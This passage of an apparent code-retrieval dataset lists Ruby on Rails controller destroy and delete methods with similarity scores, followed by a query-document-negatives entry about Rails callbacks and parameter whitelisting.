"def destroy\n @url_builder.destroy\n respond_to do |format|\n format.html { redirect_to url_builders_url, notice: 'Url builder was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @building_stage_sub_stage.destroy\n respond_to do |format|\n format.html { redirect_to building_stage_sub_stages_url, notice: 'Sub stage was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def deleted(build)\n end",
"def destroy\n @building = Building.find(params[:id])\n @building.destroy\n\n js_notify message: t('view.buildings.correctly_destroyed'),\n type: 'alert-danger js-notify-18px-text', time: 2500\n render nothing: true, content_type: 'text/html'\n end",
"def destroy\n @admin.destroy\n\n render json: { operation: 'OK' }, status: :ok\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def destroy\n @generation = Generation.find(params[:id])\n @generation.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_generations_url }\n format.json { head :no_content }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @apartment = @building.apartments.find(params[:id])\n @apartment.destroy\n\n respond_to do |format|\n format.html { redirect_to @building, notice: 'Apartment was successfully removed.'}\n format.json { head :no_content }\n end\n end",
"def destroy\n @house = House.find(params[:id])\n @house.destroy\n\n respond_to do |format|\n format.html { redirect_to gigs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @building_block.destroy\n respond_to do |format|\n format.html { redirect_to building_blocks_path, notice: 'Building block was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @buckle.destroy\n respond_to do |format|\n format.html { redirect_to admin_buckles_path }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @small_generator = SmallGenerator.find(params[:id])\n @small_generator.destroy\n\n respond_to do |format|\n format.html { redirect_to small_generators_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @version = Version.find(params[:id])\n @versionconfig = @version.version_configurations.destroy_all\n @version.destroy\n\n respond_to do |format|\n format.html { redirect_to [@application, @version] }\n format.json { head :no_content }\n end\n end",
"def destroy\n @floor.destroy\n respond_to do |format|\n format.html { redirect_to @floor.building, notice: t('flash.floor.delete') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_village = Admin::Village.find(params[:id])\n @admin_village.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_villages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_stage.destroy\n respond_to do |format|\n format.html { redirect_to admin_stages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin = Admin.find(params[:id])\n @admin.destroy\n\n render json: {:ok => true}\n end",
"def destroy\n @house = House.find(params[:id])\n @house.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_houses_url(:realty_type => params[:realty_type]) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @publishing_house.destroy\n respond_to do |format|\n format.html { redirect_to publishing_houses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @kota_stone.destroy\n respond_to do |format|\n format.html { redirect_to kota_stones_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @listing = Listing.find(params[:id])\n\n respond_to do |format|\n format.html { redirect_to building_listings_url, notice: 'Listing was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @house.destroy\n respond_to do |format|\n format.html { redirect_to house_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @house.destroy\n respond_to do |format|\n format.html { redirect_to houses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @house.destroy\n respond_to do |format|\n format.html { redirect_to houses_url }\n format.json { head :no_content }\n end\n end",
"def delete\n api_delete(\"/listings/#{@listing_id}\")\n end",
"def destroy\n @stuffing_cake.destroy\n respond_to do |format|\n format.html { redirect_to stuffing_cakes_url, notice: 'Stuffing cake was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @buildchecktag.destroy\n respond_to do |format|\n format.html { redirect_to buildchecktags_url, notice: 'Buildchecktag was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subway.destroy\n respond_to do |format|\n format.html { redirect_to subways_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_information.destroy\n respond_to do |format|\n format.html { redirect_to admin_information_index_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @building.destroy\n @notice = \"Successfully destroyed.\"\n render :file => \"#{Rails.root}/public/success\", :layout => false\n end",
"def destroy\n @business = Business.find(params[:id])\n @business.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_businesses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@opportunity = Opportunity.find(params[:id])\n #@building = @opportunity.floor.building\n @opportunity.destroy\n\n respond_to do |format|\n flash[:notice] = 'Opportunity was deleted.'\n format.html { redirect_to(opportunities_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @baton = Baton.find(params[:id])\n @baton.destroy\n\n respond_to do |format|\n format.html { redirect_to batons_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_configuration_identifier.destroy\n respond_to do |format|\n format.html { redirect_to admin_configuration_identifiers_url, notice: 'Configuration identifier was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @corpu.destroy\n respond_to do |format|\n format.js\n format.html { redirect_to building_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @house = House.find(params[:id])\n @house.destroy\n\n respond_to do |format|\n format.html { redirect_to houses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @house = House.find(params[:id])\n @house.destroy\n\n respond_to do |format|\n format.html { redirect_to houses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gen = Gen.find(params[:id])\n @gen.destroy\n\n respond_to do |format|\n format.html { redirect_to gens_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n #admin only\n return redirect_to static_pages_adminonlyerror_path if !current_user.is_admin \n @blessing = Blessing.find(params[:id])\n @blessing.destroy\n\n respond_to do |format|\n format.html { redirect_to blessings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin.destroy\n\n head :no_content\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @go = Go.find(params[:id])\n @go.destroy\n\n respond_to do |format|\n format.html { redirect_to manager_gos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gasto = Gasto.find(params[:id])\n @gasto.destroy\n\n respond_to do |format|\n format.html { redirect_to gastos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @green = Green.find(params[:id])\n @green.destroy\n\n respond_to do |format|\n format.html { redirect_to scaffold_greens_url }\n format.json { head :ok }\n end\n end",
"def destroy\n compute.delete_flavor(params[:id])\n \n\n respond_to do |format|\n format.html { redirect_to flavors_path }\n format.json { head :ok }\n end\n end",
"def destroy\n @equipment_things_to_check.destroy\n respond_to do |format|\n format.html { redirect_to equipment_things_to_checks_url }\n format.json { head :no_content }\n end\n end",
"def delete_buildtype(buildtype_id)\n delete(\"buildTypes/#{buildtype_id}\")\n end",
"def destroy\n @house_list.destroy\n respond_to do |format|\n format.html { redirect_to house_lists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cake = Cake.find(params[:id])\n @cake.destroy\n\n respond_to do |format|\n format.html { redirect_to cakes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dataload_ga = DataloadGa.find(params[:id])\n @dataload_ga.destroy\n\n respond_to do |format|\n format.html { redirect_to dataload_gas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ongoing = Ongoing.find(params[:id])\n @ongoing.destroy\n\n respond_to do |format|\n format.html { redirect_to ongoings_url }\n format.json { head :no_content }\n end\n end",
"def delete\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n respond_to do |format|\n if @route_builder.destroy\n format.html { redirect_to action: :index }\n format.json { render :nothing => true, :status => :ok}\n else\n #TODO: better message for deletion failure\n format.html { redirect_to action: :index}\n format.json { render json: {:message=> e.to_s}.to_json, status: :internal_server_error }\n end\n end\n\n end",
"def destroy\n @api_version = ApiVersion.find(params[:id])\n @api_version.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_api_versions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_neighbourhood.destroy\n respond_to do |format|\n format.html { redirect_to admin_neighbourhoods_url, notice: 'Neighbourhood was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subway = Subway.find(params[:id])\n @subway.destroy\n\n respond_to do |format|\n format.html { redirect_to subways_url }\n format.json { head :ok }\n end\n end",
"def destroy\n before_filter :require_admin! #FOR NOW, DON'T WANT PEOPLE TO DESTROY THINGS\n @thing.destroy\n respond_to do |format|\n format.html { redirect_to things_url, notice: 'Thing was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slashdot_posting.destroy\n respond_to do |format|\n format.html { redirect_to slashdot_postings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_gallery.destroy\n respond_to do |format|\n format.html { redirect_to galleries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n Generator.where(id: params[:id] ).first.destroy\n respond_to do |format|\n format.html { redirect_to generators_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @specific_gravity.destroy\n respond_to do |format|\n format.html { redirect_to @batch, notice: 'Specific gravity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @orphan.destroy\n respond_to do |format|\n format.html { redirect_to orphans_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n Break.end\n respond_to do |format|\n format.html { redirect_to admin_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_version = ApiVersion.find(params[:id])\n @api_version.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_api_versions_url, flash: {success: t('app.msgs.success_deleted', :obj => t('mongoid.models.api_version.one'))} }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stuff = Stuff.find(params[:id])\n @stuff.destroy\n\n respond_to do |format|\n format.html { redirect_to stuff_index_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n return if new_record?\n \n @api.delete \"/meetings/#{shortcode_url}.json\"\n end"
] | [
"0.748217",
"0.7470972",
"0.7391487",
"0.7366457",
"0.7358545",
"0.72944933",
"0.7285561",
"0.7268076",
"0.7263258",
"0.7256532",
"0.7152209",
"0.7152209",
"0.7103397",
"0.70952666",
"0.7051283",
"0.70471823",
"0.70373553",
"0.702491",
"0.6993295",
"0.6980237",
"0.6856659",
"0.68461204",
"0.67545795",
"0.67345715",
"0.66771823",
"0.66441035",
"0.6630424",
"0.6623907",
"0.6608995",
"0.6607965",
"0.658088",
"0.6555838",
"0.654103",
"0.6502142",
"0.64845186",
"0.6474656",
"0.64722466",
"0.6457638",
"0.6409237",
"0.6408176",
"0.6402922",
"0.63999015",
"0.63963604",
"0.6387937",
"0.63694936",
"0.63679105",
"0.6366042",
"0.6347041",
"0.6332055",
"0.63306296",
"0.6327187",
"0.6326595",
"0.6326595",
"0.6325208",
"0.6324199",
"0.6324078",
"0.63155484",
"0.6303772",
"0.6275414",
"0.6271225",
"0.62706846",
"0.62693244",
"0.6267819",
"0.6264718",
"0.62536377",
"0.62536377",
"0.62532985",
"0.62450933",
"0.62446946",
"0.6243338",
"0.6243338",
"0.6243338",
"0.6243338",
"0.62416756",
"0.62302595",
"0.6228651",
"0.62210715",
"0.6219474",
"0.6212833",
"0.6209013",
"0.6203228",
"0.61974466",
"0.61925286",
"0.61866456",
"0.61835",
"0.61797905",
"0.6175861",
"0.6175435",
"0.6172596",
"0.61696976",
"0.61690325",
"0.61683524",
"0.6164298",
"0.6164096",
"0.6163604",
"0.61569846",
"0.6146242",
"0.6133535",
"0.6124151",
"0.6123602"
] | 0.77981067 | 0 |
Use callbacks to share common setup or constraints between actions. | def set_admin_building
@admin_building = Admin::Building.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def admin_building_params
params.require(:admin_building).permit(:user_id, :parent_id, :code, :name, :description)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def valid_params_request?; end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
